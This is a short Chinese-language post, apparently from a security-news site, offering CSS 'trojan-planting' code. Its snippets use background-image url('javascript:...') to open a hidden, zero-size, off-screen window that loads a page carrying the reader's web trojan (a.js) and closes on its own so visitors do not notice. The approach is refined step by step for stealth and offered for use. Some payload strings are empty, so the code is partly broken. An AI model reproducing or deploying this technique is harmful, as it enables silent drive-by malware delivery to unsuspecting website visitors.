真正能用,还有点效果的CSS挂马代码的方法
网上流行的:
body
{
background-image: url('javascript：document.write("
")')
}
//此方法会使主页不正常.返回一片空白.
用弹窗.
body
{
background-image: url('javascript：open("/test.htm")')
}
//弹出一个框.难看 易被发现.
改进一下:
body
{
background-image: url(javascript：open('/test.htm','newwindow','height=0, width=0, top=1000, left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no'))
}
test.htm里面的代码,a.js为你的网马,弹出一个不可见的窗口,并在5秒自动后关闭没提示:
a.js内容:
document.write('
');
请指教.
- 上一篇：Foxit漏洞：4亿用户面临风险
- 下一篇：网站关停就没事了？5100万账户文件被盗
相关文章
图文推荐
- 文章
- 推荐
- 热门新闻